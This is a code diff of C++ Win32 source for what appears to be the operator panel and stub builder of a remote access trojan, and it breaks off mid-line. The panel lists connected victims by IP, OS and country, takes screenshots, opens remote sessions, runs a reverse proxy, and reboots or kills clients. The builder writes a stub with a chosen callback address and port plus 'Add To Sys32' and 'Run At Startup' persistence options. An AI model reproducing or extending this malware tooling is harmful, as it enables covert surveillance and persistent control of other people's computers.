ShowWindow(hBuild, SW_SHOW); + + } + break; + case IDM_SETTINGS: + + if (cMini == NULL) + { + cMini = CreateWindow(L"BUTTON", L"Minimize to tray", WS_VISIBLE | WS_TABSTOP | WS_CHILD | BS_CHECKBOX, + 650, 75, 130, 20, hWnd, (HMENU)IDC_MINI, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + /*sIP = CreateWindow(L"STATIC", L"Connection Address", WS_VISIBLE | WS_CHILD | WS_TABSTOP | SS_OWNERDRAW, + 650, 95, 100, 10, hWnd, NULL, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL);*/ + sPort = CreateWindow(L"STATIC", L"Connection Port", WS_VISIBLE | WS_CHILD | SS_OWNERDRAW, + 650, 120, 100, 10, hWnd, NULL, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + /*seIP = CreateWindow(L"EDIT", L"", WS_VISIBLE | WS_CHILD | WS_TABSTOP | ES_AUTOHSCROLL | WS_BORDER, + 650, 105, 100, 12, hWnd, (HMENU)IDC_SIP, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL);*/ + sePort = CreateWindow(L"EDIT", L"", WS_VISIBLE | WS_CHILD | WS_TABSTOP | WS_BORDER, + 650, 132, 80, 12, hWnd, (HMENU)IDC_SPORT, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + hApply = CreateWindow(L"BUTTON", L"Apply", WS_VISIBLE | WS_CHILD | WS_TABSTOP | BS_OWNERDRAW, + 750, 150, 45, 20, hWnd, (HMENU)IDC_APPLY, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + SetWindowSubclass(hApply, ButtonProc, NULL, NULL); + } + else + if (ShowWindow(cMini, SW_SHOW)) + { + ShowWindow(cMini, SW_HIDE); + ShowWindow(sIP, SW_HIDE); + ShowWindow(sPort, SW_HIDE); + ShowWindow(seIP, SW_HIDE); + ShowWindow(sePort, SW_HIDE); + ShowWindow(hApply, SW_HIDE); + } + else + { + ShowWindow(cMini, SW_SHOW); + ShowWindow(sIP, SW_SHOW); + ShowWindow(sPort, SW_SHOW); + ShowWindow(seIP, SW_SHOW); + ShowWindow(sePort, SW_SHOW); + ShowWindow(hApply, SW_SHOW); + } + + + + + + + break; + /*case IDM_NAME: + { + LV_DISPINFO pLvdi = { 0 }; + pLvdi.hdr.code = LVN_BEGINLABELEDIT; + + + SendMessage(hWnd, WM_NOTIFY, IDS_APP_TITLE, (LPARAM)&pLvdi); + break; + + }*/ + case IDM_CLEARHISTORY: + if (CheckMenuItem(GetMenu(hWnd), IDM_CLEARHISTORY, MF_CHECKED)) { + CheckMenuItem(GetMenu(hWnd), IDM_CLEARHISTORY, MF_UNCHECKED); + + gBage.CLEAR = NULL; + } + else + { + gBage.CLEAR = TRUE; + CheckMenuItem(GetMenu(hWnd), IDM_HISTORY, MF_UNCHECKED); + } + break; + case IDM_HISTORY: + if (CheckMenuItem(GetMenu(hWnd), IDM_HISTORY, MF_CHECKED)) { + CheckMenuItem(GetMenu(hWnd), IDM_HISTORY, MF_UNCHECKED); + HISTORY = FALSE; + } + else + { + HISTORY = TRUE; + CheckMenuItem(GetMenu(hWnd), IDM_CLEARHISTORY, MF_UNCHECKED); + } + break; + case ID__FILETRANSFER: + MessageBox(NULL, NULL, NULL, NULL); + break; + case ID__REMOTEVIEW: + //_rHandle->Remote_Administration(_Handle); + sInit._cHandler->Multi_Client_Helper(_Handle, Remote, Remote, _Handle->Clicked_Item); + //MessageBox(NULL, NULL, NULL, NULL); + break; + + case ID__REFRESH: + + if(_rHandle->IsRemote()) + sInit._cHandler->Refresh_Client_List(_Handle); + else + MessageBox(NULL, L"Please close all remote sessions before refreshing", NULL, NULL); + break; + + break; + case ID__REBOOT: + { + sInit._cHandler->Multi_Client_Helper(_Handle, Reboot, Reboot, _Handle->Clicked_Item); + break; + } + case ID__QUIT: + sInit._cHandler->Multi_Client_Helper(_Handle, Quit, Quit, _Handle->Clicked_Item); + break; + case ID__SCREENY: + sInit._cHandler->Multi_Client_Helper(_Handle, Screeny, Screeny, HIWORD(wParam)); + break; + case ID__RPROX: + sInit._cHandler->Multi_Client_Helper(_Handle, RProxy, RProxy, _Handle->si.picked); + break; + case IDM_RPROX: + RP->Initiate_Proxy(_Handle); + break; + case IDM_SCREENY: + _Handle->SCREENY = TRUE; + int i; + i = _Handle->Clicked_Item; + + if (CreateStreamOnHGlobal(NULL, true, &_Handle->si.Connections[i].ScreenShot) == S_OK) + { + ULONG Bytes; + BYTE* buffer = new BYTE[_Handle->si.Connections[i].ssSize]; + buffer = _rHandle->Remote_Thread(_Handle); + if (_Handle->si.Connections[i].ScreenShot->Write(buffer, _Handle->si.Connections[i].ssSize, &Bytes) == S_OK) + { + LARGE_INTEGER li; + li.QuadPart = 0; + if (_Handle->si.Connections[i].ScreenShot->Seek(li, STREAM_SEEK_SET, NULL) == S_OK) + { + + // LineTo(hdcMem, 645, 335); + HDC hdc = GetDC(_Handle->mhWnd); + Gdiplus::Graphics graphics(hdc); + Gdiplus::Image* image = Gdiplus::Image::FromStream(_Handle->si.Connections[i].ScreenShot); + + Gdiplus::Rect destRect(646, 120, 153, 149); + graphics.DrawImage(image, destRect); + + delete image; + DeleteDC(hdc); + } + + } + + delete buffer; + _Handle->si.Connections[i].ScreenShot->Release(); + _Handle->si.Connections[i].ScreenShot = nullptr; + _Handle->SCREENY = FALSE; + } + + break; + case IDM_REMOTEINIT: + _rHandle->Remote_Administration(_Handle); + break; + case IDM_START: + if (Init->data.port <= NULL) + { + + //break; + Init->data.port = 4444; + wcstombs(Init->data.URL, L"127.0.0.1", 10); + + } + _Handle->si.ConnectionCounter = 0; + _Handle->start = TRUE; + ShowWindow(stopButton, SW_SHOW); + ShowWindow(startButton, SW_HIDE); + + wss << "Listening.. On Port:" << Init->data.port; + //wss << "Listening.. " << Init->data.URL << L":"<< Init->data.port; + wStr = wss.str(); + SetWindowText(bBar, wStr.c_str()); + _Handle->Tray->UpdateTray(&_Handle->Tray->nID, _Handle->start, _Handle->si.ConnectionCounter); + Init->Initialize(_Handle, Init); + break; + case IDM_SHOW: + ShowWindow(hWnd, SW_SHOW); + UpdateWindow(hWnd); + break; + case IDC_MINI: + isChecked = IsDlgButtonChecked(hWnd, IDC_MINI); + if (isChecked) + CheckDlgButton(hWnd, IDC_MINI, BST_UNCHECKED); + else + CheckDlgButton(hWnd, IDC_MINI, BST_CHECKED); + break; + case IDM_STOP: + _Handle->start = FALSE; + InvalidateRect(bBar, NULL, TRUE); + SetWindowText(bBar, L" "); + // + //UpdateWindow(bBar); + closesocket(_Handle->si.ListenSocket); + WSACleanup(); + //Clear List// + ListView_DeleteAllItems(_Handle->hWndList); + _Handle->si.ConnectionCounter = NULL; + _Handle->Tray->UpdateTray(&_Handle->Tray->nID, _Handle->start, _Handle->si.ConnectionCounter); + ShowWindow(startButton, SW_SHOW); + ShowWindow(stopButton, SW_HIDE); + break; + case IDM_ABOUT: + DialogBox(_Handle->hInst, MAKEINTRESOURCE(IDD_ABOUTBOX), hWnd, About); + break; + case IDM_EXIT: + //rwhWnd = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ReadWriteMain, NULL, NULL, NULL); + // + DestroyWindow(hWnd); + break; + + + + case IDC_APPLY: + { + + if (_Handle->start) + { + WasListen = TRUE; + SendMessage(_Handle->mhWnd, WM_COMMAND, IDM_STOP, NULL); + } + + wchar_t wPort[256]; + GetDlgItemText(hWnd, IDC_SPORT, wPort, 256); + Init->data.port = _wtoi(wPort); + //wchar_t wIP[256]; + //GetDlgItemText(hWnd, IDC_SIP, wIP, 256); + + //wcstombs(Init->data.URL, wIP, 256); + //MessageBox(NULL, L"Applied!", L"L33T", NULL); + if (WasListen) + SendMessage(_Handle->mhWnd, WM_COMMAND, IDM_START, NULL); + break; + } + default: + return DefWindowProc(hWnd, message, wParam, lParam); + } + } + break; + case WM_PAINT: + { + PAINTSTRUCT ps; + HDC hdc = BeginPaint(hWnd, &ps); + HDC hdcMem = GetDC(hWnd); + HPEN hp = CreatePen(PS_SOLID, 1, RGB(80, 80, 80)); + SelectObject(hdcMem, hp); + MoveToEx(hdcMem, 678, 49, 0); + LineTo(hdcMem, 678, 65); + MoveToEx(hdcMem, 0, 30, 0); + LineTo(hdcMem, 800, 30); + MoveToEx(hdcMem, 0, 70, 0); + LineTo(hdcMem, 800, 70); + MoveToEx(hdcMem, 645, 70, 0); + LineTo(hdcMem, 645, 335); + MoveToEx(hdcMem, 0, 335, 0); + LineTo(hdcMem, 800, 335); + EndPaint(hWnd, &ps); + + } + break; + case WM_DESTROY: + + + + // if (HISTORY) { + // rwhWnd = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)ReadWriteMain, NULL, NULL, NULL); + + // } + //else { + + // DestroyWindow(hWnd); + PostQuitMessage(0); + //CloseHandle(hWnd); + //ExitThread(0); + //} + + + // + + break; + default: + return DefWindowProc(hWnd, message, wParam, lParam); + } + return 0; +} +LRESULT CALLBACK StubCreationProc(HWND hWnd, UINT Message, WPARAM wParam, LPARAM lParam) +{ + BOOL isChecked = FALSE; + switch (Message) + { + case WM_CREATE: + { + bTitle = CreateWindow(L"STATIC", L"Stub Creation", WS_VISIBLE | WS_CHILD | SS_OWNERDRAW, + 10, 15, 100, 20, hWnd, NULL, NULL, NULL); + hURL = CreateWindow(L"STATIC", L"Connection Address", WS_VISIBLE | WS_CHILD | WS_TABSTOP | SS_OWNERDRAW, + 50, 60, 100, 10, hWnd, NULL, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + hPort = CreateWindow(L"STATIC", L"Connection Port", WS_VISIBLE | WS_CHILD | SS_OWNERDRAW, + 50, 95, 100, 10, hWnd, NULL, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + eURL = CreateWindow(L"EDIT", L"", WS_VISIBLE | WS_CHILD | WS_TABSTOP | ES_AUTOHSCROLL | WS_BORDER, + 50, 70, 100, 12, hWnd, (HMENU)IDC_IP, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + ePort = CreateWindow(L"EDIT", L"", WS_VISIBLE | WS_CHILD | WS_TABSTOP | WS_BORDER, + 50, 106, 80, 12, hWnd, (HMENU)IDC_PORT, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + hSName = CreateWindow(L"STATIC", L"Stub Name", WS_VISIBLE | WS_CHILD | SS_OWNERDRAW, + 50, 125, 80, 10, hWnd, NULL, NULL, NULL); + eSName = CreateWindow(L"EDIT", L"stub.exe", WS_VISIBLE | WS_CHILD | ES_AUTOHSCROLL | WS_BORDER | WS_TABSTOP, + 50, 136, 80, 12, hWnd, (HMENU)IDC_STUBNAME, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + cSys32 = CreateWindow(L"BUTTON", L"Add To Sys32", WS_VISIBLE | WS_TABSTOP | WS_CHILD | BS_CHECKBOX, + 250, 60, 110, 20, hWnd, (HMENU)IDC_SYS32, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + cStart = CreateWindow(L"BUTTON", L"Run At Startup", WS_VISIBLE | WS_TABSTOP | WS_CHILD | BS_CHECKBOX, + 250, 85, 115, 20, hWnd, (HMENU)IDC_STARTUP, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + //SetWindowTheme(cSys32, L"wstr", L"wstr"); + + + hCreate = CreateWindow(L"BUTTON", L"Build", WS_VISIBLE | WS_CHILD | WS_TABSTOP | BS_OWNERDRAW, + 450, 250, 30, 15, hWnd, (HMENU)IDC_CREATE, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + bCancel = CreateWindow(L"BUTTON", L"Cancel", WS_VISIBLE | WS_CHILD | WS_TABSTOP | BS_OWNERDRAW, + 20, 250, 40, 15, hWnd, (HMENU)IDC_CANCEL, (HINSTANCE)GetWindowLong(hWnd, GWL_HINSTANCE), NULL); + // BBG = CreateWindow(L"STATIC", L"Build", WS_VISIBLE | WS_CHILD | SS_OWNERDRAW, + // 78, 20, 40, 15, hWnd, NULL, NULL, NULL); + + SetWindowSubclass(hCreate, ButtonProc, NULL, NULL); + SetWindowSubclass(bCancel, ButtonProc, NULL, NULL); + SetWindowSubclass(hApply, ButtonProc, NULL, NULL); + + } + case WM_DRAWITEM: + { + LPDRAWITEMSTRUCT pDIS = (LPDRAWITEMSTRUCT)lParam; + + + if (pDIS->hwndItem == bTitle) + { + SetTextColor(pDIS->hDC, RGB(255, 255, 255)); + WCHAR staticText[99]; + int len = SendMessage(bTitle, WM_GETTEXT, + ARRAYSIZE(staticText), (LPARAM)staticText); + + SelectObject(pDIS->hDC, hFontSb); + TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, staticText, len); + + } + if (pDIS->hwndItem == hSName) + { + + //SetTextColor(pDIS->hDC, RGB(255, 2, 2)); + WCHAR staticText[99]; + int len = SendMessage(hSName, WM_GETTEXT, + ARRAYSIZE(staticText), (LPARAM)staticText); + SetTextColor(pDIS->hDC, RGB(255, 255, 255)); + SelectObject(pDIS->hDC, hFontSm); + TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, staticText, len); + return 0; + } + if (pDIS->hwndItem == hPort) + { + WCHAR staticText[99]; + int len = SendMessage(hPort, WM_GETTEXT, + ARRAYSIZE(staticText), (LPARAM)staticText); + SetTextColor(pDIS->hDC, RGB(255, 255, 255)); + SelectObject(pDIS->hDC, hFontSm); + TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, staticText, len); + return 0; + } + if (pDIS->hwndItem == hURL) + { + WCHAR staticText[99]; + int len = SendMessage(hURL, WM_GETTEXT, + ARRAYSIZE(staticText), (LPARAM)staticText); + SetTextColor(pDIS->hDC, RGB(255, 255, 255)); + SelectObject(pDIS->hDC, hFontSm); + TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, staticText, len); + return 0; + } + if (pDIS->hwndItem == hCreate) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSe); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSe); + + return 0; + } + if (pDIS->hwndItem == bCancel) + { + if (!HOVER) + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(255, 255, 255), hFontSe); + + else + DrawItemStatic(pDIS->hwndItem, pDIS, RGB(2, 244, 235), hFontSe); + + return 0; + } + //if (pDIS->hwndItem == hApply) + //{ + // SetTextColor(pDIS->hDC, RGB(255, 255, 255)); + // WCHAR staticText[99]; + // int len = SendMessage(hApply, WM_GETTEXT, + // ARRAYSIZE(staticText), (LPARAM)staticText); + + // SelectObject(pDIS->hDC, hFont); + // TextOut(pDIS->hDC, pDIS->rcItem.left, pDIS->rcItem.top, staticText, len); + // return 0; + //} + + + break; + } + case WM_COMMAND: + { + int wmId = LOWORD(wParam); + switch (wmId) + { + case IDC_CANCEL: + { + DestroyWindow(hWnd); + break; + } + case IDC_SYS32: + { + isChecked = IsDlgButtonChecked(hWnd, IDC_SYS32); + if (isChecked) + CheckDlgButton(hWnd, IDC_SYS32, BST_UNCHECKED); + else + CheckDlgButton(hWnd, IDC_SYS32, BST_CHECKED); + break; + } + case IDC_STARTUP: + isChecked = IsDlgButtonChecked(hWnd, IDC_STARTUP); + if (isChecked) + CheckDlgButton(hWnd, IDC_STARTUP, BST_UNCHECKED); + else + CheckDlgButton(hWnd, IDC_STARTUP, BST_CHECKED); + break; + + case IDC_CREATE: + + //if (_Handle->start) + //{ + // WasListen = TRUE; + // SendMessage(_Handle->mhWnd, WM_COMMAND, IDM_STOP, NULL); + //} + wchar_t wPort[256]; + GetDlgItemText(hWnd, IDC_PORT, wPort, 256); + Init->data.port = _wtoi(wPort); + wchar_t wIP[256]; + GetDlgItemText(hWnd, IDC_IP, wIP, 256); + wchar_t sName[256]; + GetDlgItemText(hWnd, IDC_STUBNAME, sName, 256); + + Init->data.Sys32 = IsDlgButtonChecked(hWnd, IDC_SYS32); + Init->data.Startup = IsDlgButtonChecked(hWnd, IDC_STARTUP); + + wcstombs(Init->data.URL, wIP, 256); + if (CreateStub(IsDlgButtonChecked(hWnd, IDC_RAMORNAH), sName)) + { + MessageBox(NULL, L"Stub Created And Applied!", L"L33T", NULL); + if (WasListen) + SendMessage(_Handle->mhWnd, WM_COMMAND, IDM_START, NULL); + } + else + MessageBox(NULL, L"Stub Creation Failed!", L"3rr", NULL); + break; + } + } + case WM_CTLCOLOREDIT: + { + + HDC hdcButton = (HDC)wParam; + SetBkColor(hdcButton, RGB(0x2C, 0x2C, 0x2C)); + SetTextColor(hdcButton, RGB(255, 255, 255)); + SelectObject(hdcButton, hFontSm); + return (LRESULT)CreateSolidBrush(RGB(0x2C, 0x2C, 0x2C)); + + } + case WM_CTLCOLORBTN: + { + //HDC hdcButton = (HDC)wParam; + //SetBkColor(hdcButton, RGB(200, 0, 0)); + + HDC hdcButton = (HDC)wParam; + SetBkColor(hdcButton, RGB(0x2C, 0x2C, 0x2C)); + SelectObject(hdcButton, hFontSm); + //SetTextColor(hdcButton, RGB(255, 255, 255)); + return (LRESULT)CreateSolidBrush(RGB(0x2C, 0x2C, 0x2C)); + + + } + break; + case WM_CTLCOLORSTATIC: + { + + // if (lParam == (LPARAM)sTitle || lParam == (LPARAM)bBar || lParam == (LPARAM)hVer) + //{ + HDC hdcButton = (HDC)wParam; + SetBkColor(hdcButton, RGB(0x2C, 0x2C, 0x2C)); + SetTextColor(hdcButton, RGB(255, 255, 255)); + SelectObject(hdcButton, hFontSm); + return (LRESULT)CreateSolidBrush(RGB(0x2C, 0x2C, 0x2C)); + //} + + } + case WM_NCHITTEST: + UINT uHitTest; + + uHitTest = DefWindowProc(hWnd, WM_NCHITTEST, wParam, lParam); + if (uHitTest == HTCLIENT) + return HTCAPTION; + return uHitTest; + break; + case WM_PAINT: + { + PAINTSTRUCT ps; + HDC hdc = BeginPaint(hWnd, &ps); + HDC hdcMem = GetDC(hWnd); + HPEN hp = CreatePen(PS_SOLID, 1, RGB(80, 80, 80)); + SelectObject(hdcMem, hp); + MoveToEx(hdcMem, 0, 32, 0); + LineTo(hdcMem, 500,32 ); + MoveToEx(hdcMem, 0, 265, 0); + LineTo(hdcMem, 500, 265); + EndPaint(hWnd, &ps); + + + break; + } + default: + return DefWindowProc(hWnd, Message, wParam, lParam); + + + } + + + return 0; +} +int ReadEOF() +{ + wchar_t lpTempName[MAX_PATH + 1]; + wchar_t lpTempPath[MAX_PATH + 1]; + wchar_t lpFileName[MAX_PATH + 1]; + HANDLE tmpFile = NULL; + HANDLE hFile = NULL; + BYTE tmpBuffer[FileSize + 1]; + DWORD rIn; + DWORD wIn; + GetTempPath(MAX_PATH, lpTempPath); + GetModuleFileName(NULL, lpFileName, MAX_PATH + 1); + + + + + std::wstring tpstr = lpTempPath; + int tpsize = tpstr.size(); + std::wstring tnstr = lpFileName; + PathRemoveFileSpec(lpFileName); + std::wstring fnstr = lpFileName; + int fnsize = fnstr.size(); + if (fnsize + 1 == tpsize) + { + tmpFile = CreateFile(tnstr.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + GetLastError(); + SetFilePointer(tmpFile, 0, NULL, FILE_BEGIN); + ReadFile(tmpFile, &tmpBuffer, FileSize, &rIn, NULL); + SetFilePointer(tmpFile, FileSize, NULL, FILE_BEGIN); + ReadFile(tmpFile, &gBage, sizeof(Garbage), NULL, NULL); + mbstowcs(lpFileName, gBage.FilePath, MAX_PATH + 1); + hFile = CreateFile(lpFileName, GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + + if (gBage.CLEAR == 1) + { + SetFilePointer(hFile, 0, NULL, FILE_BEGIN); + WriteFile(hFile, &tmpBuffer, FileSize, &wIn, NULL); + GetLastError(); + SetFilePointer(hFile, FileSize, NULL, FILE_BEGIN); + BYTE cork[528]; + memset(cork, 0, 528); + WriteFile(hFile, &cork, 528, &wIn, NULL); + + } + else + { + SetFilePointer(hFile, 0, NULL, FILE_BEGIN); + WriteFile(hFile, &tmpBuffer, FileSize, &wIn, NULL); + SetFilePointer(hFile, FileSize, NULL, FILE_BEGIN); + WriteFile(hFile, &gBage, sizeof(gBage), &wIn, NULL); + + } + ExitProcess(0); + } + else + { + tmpFile = CreateFile(tnstr.c_str(), GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); + SetFilePointer(tmpFile, FileSize, NULL, FILE_BEGIN); + ReadFile( tmpFile, &gBage, sizeof(Garbage), &rIn, NULL); + CloseHandle(tmpFile); + if (gBage.LastPORT != NULL) + FULL = TRUE; + } + + + + return 0; +} + +void ReadWriteMain() +{ + + HANDLE hFile = NULL; + HANDLE tmpFile = NULL; + wchar_t lpFileName[MAX_PATH + 1]; + wchar_t lpTempPath[MAX_PATH + 1]; + HRSRC hrsrc = NULL; + HGLOBAL hGlbl = NULL; + BYTE *pExeResource = NULL; + BYTE lpBuffer[FileSize]; + DWORD rIn = NULL; + DWORD wIn = NULL; + //DWORD dwSize = 8192; + GetModuleFileName(NULL, lpFileName, MAX_PATH + 1); + GetTempPath(MAX_PATH, lpTempPath); + std::wstringstream wss; + wss << lpTempPath << L"tmpAeiro.tmp"; + std::wstring wStr = wss.str(); + + tmpFile = CreateFile(wStr.c_str(), GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_FLAG_BACKUP_SEMANTICS, NULL); + hFile = CreateFile(lpFileName, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS, NULL); + GetLastError(); + SetFilePointer(hFile, 0, NULL, FILE_BEGIN); + ReadFile(hFile, &lpBuffer, FileSize, &rIn, NULL); + + WriteFile(tmpFile, &lpBuffer, rIn, &wIn, NULL); + Garbage *gBages = new Garbage; + + + gBages->CLEAR = gBage.CLEAR; + wchar_t cwchar[257];// = wStr.c_str(); + //LPCWSTR lpwstr; + wcscpy(cwchar, wStr.c_str()); + //wcscat(cwchar, wStr.c_str()); + wcstombs(gBages->FilePath, lpFileName, sizeof(lpFileName)); + strcpy(gBages->LastURL, Init->data.URL); + gBages->LastPORT = Init->data.port; + SetFilePointer(hFile,FileSize, NULL, FILE_BEGIN); + WriteFile(tmpFile, gBages, sizeof(Garbage), &wIn, NULL); + CloseHandle(tmpFile); + STARTUPINFO sui; + PROCESS_INFORMATION pi; + memset(&sui, 0, sizeof(sui)); + memset(&pi, 0, sizeof(pi)); + GetLastError(); + + CreateProcess(cwchar ,NULL, NULL, NULL, FALSE,NORMAL_PRIORITY_CLASS, NULL, NULL, &sui, &pi); + //return; + PostQuitMessage(0); + ExitProcess(0); + GetLastError(); + //ResumeThread(pi.hThread); + + +} +// Message handler for about box. +INT_PTR CALLBACK About(HWND hDlg, UINT message, WPARAM wParam, LPARAM lParam) +{ + UNREFERENCED_PARAMETER(lParam); + switch (message) + { + case WM_INITDIALOG: + return (INT_PTR)TRUE; + + case WM_COMMAND: + if (LOWORD(wParam) == IDOK || LOWORD(wParam) == IDCANCEL) + { + EndDialog(hDlg, LOWORD(wParam)); + return (INT_PTR)TRUE; + } + break; + } + return (INT_PTR)FALSE; +} + +//**************************************************************************** / +int CreateListColumns(HWND hWndParent, Packet_Handler* _Handle) +{ + + RECT rcl; // Rectangle for setting the size of the window + int index; // Index used in for loops + wchar_t szText[520]; // Place to store some text + + + + // List view item structure + // Index for inserting sub items + + // Ensure that the common control DLL is loaded. + InitCommonControls(); + + // Get the size and position of the parent window + GetClientRect(hWndParent, &rcl); + + // Create the list view window that starts out in report view + // and allows label editing. + + _Handle->hWndList = CreateWindowEx(0L, + WC_LISTVIEW, // list view class + L"", // no default text + WS_VISIBLE | WS_CHILD | LVS_REPORT | LVS_OWNERDATA| LVS_NOCOLUMNHEADER | //| WS_BORDER | WS_EX_CLIENTEDGE + LVS_EDITLABELS, + -16, 95, + 661, 240, + hWndParent, + (HMENU)IDS_APP_TITLE, + _Handle->hInst, + NULL); + + if (_Handle->hWndList == NULL) + return NULL; + SendMessage(_Handle->hWndList, LVM_SETEXTENDEDLISTVIEWSTYLE, 0, LVS_EX_FULLROWSELECT); + // Now initialize the columns we will need + // Initialize the LV_COLUMN structure + // the mask specifies that the .fmt, .ex, width, and .subitem members + // of the structure are valid, + + _Handle->lvC.mask = LVCF_FMT | LVCF_WIDTH | LVCF_SUBITEM; + _Handle->lvC.fmt = LVCFMT_CENTER; // left align the column + _Handle->lvC.cx = 0; // width of the column, in pixels + + //_Handle->lvC.pszText = NULL; + + // Add the columns. + + + for (index = 0; index <= NUM_COLUMNS; index++) + { + //_Handle->lvC.iSubItem = index; + //LoadStringW(_Handle->hInst, + // IDS_CLIENT_NAME + index, + // szText, + // sizeof(szText)); + if(index > 0) + _Handle->lvC.cx = 165; + if (ListView_InsertColumn(_Handle->hWndList, index, &_Handle->lvC) == -1) + return NULL; + } + + +/* else + { + _Handle->hWndList = NULL; + for (index = 0; index <= NUM_COLUMNS; index++) + { + _Handle->lvC.iSubItem = index; + LoadStringW(_Handle->hInst, + IDS_CLIENT_NAME + index, + szText, + sizeof(szText)); + if (ListView_DeleteColumn(_Handle->hWndList, index, &_Handle->lvC) == -1) + return NULL; + } + } + /* + + */ + return 0; +} + +LRESULT NotifyHandler(HWND hWnd, UINT uMsg, WPARAM wParam, LPARAM lParam, Packet_Handler* _Handle) +{ + LV_DISPINFO *pLvdi = (LV_DISPINFO *)lParam; + NM_LISTVIEW *pNm = (NM_LISTVIEW *)lParam; + NMITEMACTIVATE* NMItem = { 0 }; + //_Handle->Clients[_Handle->si.ConnectionCounter] = (_Handle->_Clients *)(pLvdi->item.lParam); + //wchar_t szText[10]; + + if (wParam != IDS_APP_TITLE) + return 0L; + + + switch (((LPNMHDR)lParam)->code) + { + + case NM_RCLICK: + { + POINT cursor; + GetCursorPos(&cursor); + for (int i = 0; i < 100; i++) + { + if (_Handle->si.Connections[i].s[0] != NULL) + { + NMItem = ((LPNMITEMACTIVATE)lParam); + //if (NMItem->iItem < 0) break; + + // pLvdi->item.iItem; + LVHITTESTINFO lVht; + memset(&lVht, 0, sizeof(LVHITTESTINFO)); + lVht.pt = NMItem->ptAction; + //lVht.flags = LVHT_ONITEM; + + int item = ListView_SubItemHitTest(_Handle->hWndList, &lVht); + //int item;// = ListView_SubItemHitTest(hWnd, &lVht); + // item = SendMessage(hWnd, LVM_SUBITEMHITTEST, 0, (LPARAM)&lVht); + _Handle->Clicked_Item =item; + // Creating the pop-up menu list + TrackPopupMenu((HMENU)GetSubMenu(LoadMenu(_Handle->hInst, MAKEINTRESOURCE(IDR_CONTEXT)), 0), + TPM_LEFTALIGN | TPM_RIGHTBUTTON, cursor.x, cursor.y, 0, hWnd, NULL); + break; + } + else + { + if(_Handle->si.ConnectionCounter != 0) + TrackPopupMenu((HMENU)GetSubMenu(LoadMenu(_Handle->hInst, MAKEINTRESOURCE(IDR_CONTEXTR)), 0), + TPM_LEFTALIGN | TPM_RIGHTBUTTON, cursor.x, cursor.y, 0, hWnd, NULL); + break; + } + + } + break; + } + case NM_CLICK: + { + + + NMItem = ((LPNMITEMACTIVATE)lParam); + LVHITTESTINFO lVht; + lVht.pt = NMItem->ptAction; + int item = ListView_SubItemHitTest(_Handle->hWndList, &lVht); + if (item < 0) + break; + _Handle->Clicked_Item = item; + SendMessage(_Handle->mhWnd, WM_COMMAND, MAKEWPARAM(ID__SCREENY,item),0); + //ListView_SetItemState(_Handle->hWndList, item, LVIS_SELECTED, NULL); + + break; + } + + case NM_DBLCLK: + { + NMItem = ((LPNMITEMACTIVATE)lParam); + LVHITTESTINFO lVht; + memset(&lVht, 0, sizeof(LVHITTESTINFO)); + lVht.pt = NMItem->ptAction; + int item = ListView_SubItemHitTest(_Handle->hWndList, &lVht); + NMLVDISPINFO lvdi = { 0 }; + LV_DISPINFO FAR* tlvdi = (LV_DISPINFO FAR*)lParam; + //NMHDR hdr = { 0 }; + //hdr.hwndFrom = ; + //hdr. + /// lvdi.hdr.hwndFrom = _Handle->hWndList; + lvdi.hdr = tlvdi->hdr; + lvdi.hdr.code = LVN_BEGINLABELEDIT; + lvdi.item.iItem = item; + lvdi.item.iSubItem = NMItem->iSubItem; + + //HWND lvEc = (HWND)SendMessage(_Handle->hWndList, LVM_GETEDITCONTROL, NULL, NULL); + SendMessage(_Handle->hWndList, LVN_BEGINLABELEDIT, NULL, (LPARAM)&lvdi); + SendMessage(NULL,NULL, NULL, NULL); + break; + } + + + break; + } + + switch (pLvdi->hdr.code) + { + + case LVN_GETDISPINFO: + + switch (pLvdi->item.iSubItem) + { + case 1: // ID + pLvdi->item.pszText = _Handle->si.Connections[pLvdi->item.iItem].Clients->_ClientID; + + break; + + case 2: // IP + pLvdi->item.pszText = _Handle->si.Connections[pLvdi->item.iItem].Clients->_IPAdress; + + break; + + case 3: // OS + pLvdi->item.pszText = _Handle->si.Connections[pLvdi->item.iItem].Clients->_OperatingSystem; + break; + case 4: + pLvdi->item.pszText = _Handle->si.Connections[pLvdi->item.iItem].Clients->_Country; + break; + /* + case 3: // INT Conversion + wsprintf(szText, L"%u", ); + pLvdi->item.pszText = szText; + break; + + */ + default: + break; + } + break; + + case LVN_BEGINLABELEDIT: + { + HWND hWndEdit; + + // Get the handle to the edit box. + hWndEdit = (HWND)SendMessage(hWnd, LVM_GETEDITCONTROL, + 0, 0); + // Limit the amount of text that can be entered. + SendMessage(hWndEdit, 